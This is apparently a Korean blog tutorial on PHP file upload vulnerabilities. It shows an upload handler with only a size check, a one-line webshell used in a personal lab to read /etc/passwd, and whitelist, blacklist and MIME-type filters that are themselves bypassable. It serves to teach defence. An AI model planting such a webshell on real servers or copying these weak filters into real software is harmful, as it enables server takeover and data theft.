파일 업로드 기능이 존재하는 웹 사이트의 시큐어코딩이 미흡하거나 코딩되어 있지 않을 경우
공격자가 악성 파일을 업로드하여 시스템을 장악할 수 있는 취약점이다.
악성 스크립트가 업로드 된 후, 서버 상에서 스크립트를 실행하여 쉘을 획득하는 등의 악의적인 행위로 시스템 권한을 획득하거나
서버를 변조시키는 등의 방법으로 웹 서버를 장악한다.
해당 취약점으로 접근 권한상승, 정보유출, 악성코드 배포 등의 공격이 발생 할 수 있다.
기본 FileUpload Code
<?php
$myfile_save_dir = 'upload/';
if($_FILES['fileToUpload']['size'] >= 1024 * 1024 * 1){ exit("<script>alert(`file is too big`);history.go(-1);</script>"); } // file size limit(1MB). do not remove it.
echo $_FILES[ 'myfile' ][ 'type' ];
move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $myfile_save_dir . $_FILES['fileToUpload']['name']);
exit("<script>alert(`upload ok`);location.href=`file.php`;</script>");
?>
파일 크기만 필터링 되고 있고 나머지를 검증하거나 필터링하는 시큐어코딩이 되어있지 않다.
해당 형식으로 웹 서버를 동작한다면 webshell이 업로드되어 취약점이 발생할 수 있다.
다음은 개인적으로 구축한 fileupload 환경이다.
간단한 한줄 webshell을 올려보자
#간단 웹쉘 코드
<?php system($_GET['cmd']); ?>
정상적으로 업로드가 되었고 웹쉘을 사용해 /etc/passwd 파일을 열어보겠다.
파일이 업로드된 경로 접속 후
시스템 명령어로 /etc/passwd 파일을 불러올 수 있다.
해당 방식으로 시스템 명령어가 가능하기 때문에 매우 중요한 취약점이다.
다음으로 필터링 방법 몇가지 소개하자면
화이트리스트 기반 필터링
<?php
$myfile_save_dir = 'upload/';
if($_FILES['fileToUpload']['size'] >= 1024 * 1024 * 1){ exit("<script>alert(`file is too big`);history.go(-1);</script>"); } // file size limit(1MB). do not remove it.
$extension = explode(".",$_FILES['fileToUpload']['name'])[1];
if($extension == "txt" || $extension == "png"){
echo $_FILES[ 'myfile' ][ 'type' ];
move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $myfile_save_dir . $_FILES['fileToUpload']['name']);
exit("<script>alert(`upload ok`);location.href=`file.php`;</script>");
}
else{
exit("<script>alert(`txt or png only`);history.go(-1);</script>");
}
?>
블랙리스트 기반 필터링
<?php
$myfile_save_dir = 'upload/';
if($_FILES['fileToUpload']['size'] >= 1024 * 1024 * 1){ exit("<script>alert(`file is too big`);history.go(-1);</script>"); }
$file_path = pathinfo($_FILES['fileToUpload']['name'], PATHINFO_EXTENSION);
$allow_extension = array("php", "exe", "php3", "PhP");
if(in_array($file_path, $allow_extension)){
exit("<script>alert(`No!!!!!!!!!!!!`);history.go(-1);</script>");
}
else{
echo $_FILES[ 'myfile' ][ 'type' ];
move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $myfile_save_dir . $_FILES['fileToUpload']['name']);
exit("<script>alert(`upload ok`);location.href=`file.php`;</script>");
}
?>
MIME_Type 필터링
<?php
$myfile_save_dir = 'upload/';
if($_FILES['fileToUpload']['size'] >= 1024 * 1024 * 1){ exit("<script>alert(`file is too big`);history.go(-1);</script>"); }
$allowed_types = ['image/jpeg', 'image/png']; # 지정된 MIME_Type
$file_type = $_FILES['fileToUpload']['type']; # 업로드된 파일의 MIME_Type
if(in_array($file_type, $allowed_types)){
move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $myfile_save_dir . $_FILES['fileToUpload']['name']);
exit("<script>alert(`upload ok`);location.href=`file.php`;</script>");
}
else{
exit("<script>alert(`이미지 파일만 업로드가 가능합니다.`);location.href=`file.php`;</script>");
}
?>
이 있다. 다음 글에서는 해당 코드들을 하나씩 하나씩 전부 우회해 보겠다.